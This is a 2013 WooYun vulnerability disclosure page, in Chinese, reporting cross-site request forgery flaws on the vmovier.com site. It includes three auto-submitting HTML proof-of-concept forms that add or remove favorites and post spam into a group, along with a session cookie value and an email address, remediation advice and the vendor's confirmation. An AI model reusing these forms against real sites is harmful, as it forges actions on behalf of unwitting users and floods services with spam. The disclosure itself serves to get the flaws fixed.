当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041333

漏洞标题：V电影多处csrf漏洞

相关厂商：vmovier.com

漏洞作者： 小龙

提交时间：2013-10-29 10:38

修复时间：2013-12-13 10:39

公开时间：2013-12-13 10:39

漏洞类型：CSRF

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-29： 细节已通知厂商并且等待厂商处理中
2013-10-29： 厂商已经确认，细节仅向厂商公开
2013-11-08： 细节向核心白帽子及相关领域专家公开
2013-11-18： 细节向普通白帽子公开
2013-11-28： 细节向实习白帽子公开
2013-12-13： 细节向公众公开

简要描述：

把我分补回来吧。。。

详细说明：

构造poc：

<html>
<body>
<form id="csrf" name="csrf" action="http://www.qinglanji.com/index.php?app=article&ac=collect" method="POST">
<input type="text" name="PHPSESSID" value="let0clssg5tjlld6jtendmtb96" />
<input type="text" name="Hm_lvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011132" />
<input type="text" name="Hm_lpvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011580" />
<input type="text" name="ts_email" value="189837992%40qq.com" />
<input type="text" name="ts_uptime" value="1383010996" />
<input type="text" name="ts_checktime" value="1383010996" />
<input type="text" name="bdshare_firstime" value="1383011172959" />
<input type="text" name="articleid" value="2503" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>
</html>


上面是收藏，这次是取消收藏：

<html>
<body>
<form id="csrf" name="csrf" action="http://www.qinglanji.com/index.php?app=article&ac=uncollect" method="POST">
<input type="text" name="PHPSESSID" value="let0clssg5tjlld6jtendmtb96" />
<input type="text" name="Hm_lvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011132" />
<input type="text" name="Hm_lpvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011580" />
<input type="text" name="ts_email" value="189837992%40qq.com" />
<input type="text" name="ts_uptime" value="1383010996" />
<input type="text" name="ts_checktime" value="1383010996" />
<input type="text" name="bdshare_firstime" value="1383011172959" />
<input type="text" name="articleid" value="2503" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>
</html>


在推荐
关注哪里都是csrf，无法直视。。。

1.jpg


还可以无限刷屏，
利用csrf也可以在小组哪里刷屏，另外加入小组和退出小组都是post请求，可以构造，标签差不多都是相同的。
这是一个低级错误。
构造小组poc：

<html>
<body>
<form id="csrf" name="csrf" action="http://www.qinglanji.com/group/add/ts-do" method="POST">
<input type="text" name="PHPSESSID" value="let0clssg5tjlld6jtendmtb96" />
<input type="text" name="Hm_lvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011132" />
<input type="text" name="Hm_lpvt_7e75ebc9902cd475f9c1032b02fa9fda" value="1383011580" />
<input type="text" name="ts_email" value="189837992%40qq.com" />
<input type="text" name="ts_uptime" value="1383010996" />
<input type="text" name="ts_checktime" value="1383010996" />
<input type="text" name="bdshare_firstime" value="1383011172959" />
<input type="text" name="last_comment" value="1111111111" />
<input type="text" name="title" value="wooyun" />
<input type="text" name="groupid" value="43" />
<input type="text" name="editorValue" value="hacksb" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>
</html>


<input type="text" name="title" value="wooyun" />

发一个标题为wooyun的字样做标题

<input type="text" name="editorValue" value="hacksb" />

发一个内容为hacksb的字样做内容
如果打开这个网页一百次证明能占用你服务器内存多少？反正不是我的内存，啧啧~
疯狂的发广告，灌水，必备。
我们同时打开那个本地构造的四次，和刚才的一起5次。看下效果
对厂商的影响效果：1：影响浏览者对网站的安全措施不好，并怕自己数据泄露，威胁到自己！
2：影响看微电影的用户提问以及回答！
3：影响自己怪看文章的心情！

漏洞证明：

1.jpg


2.jpg


3.jpg


刷屏：http://www.qinglanji.com/p34#commentTextarea
小组刷屏：http://www.qinglanji.com/group/show/id-43

修复方案：

1：csrf：加token，(不懂请跳转：http://drops.wooyun.org/papers/155 乌云知识库)
2：刷屏：在发表文章与评论处加个验证码，并且验证码只能使用一次，防止被别人无限提交post，并且你那个验证码是无限用的，导致再次刷屏

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-10-29 10:41

厂商回复：

感谢指出漏洞哈，马上修复

最新状态：

暂无

漏洞评价：

评论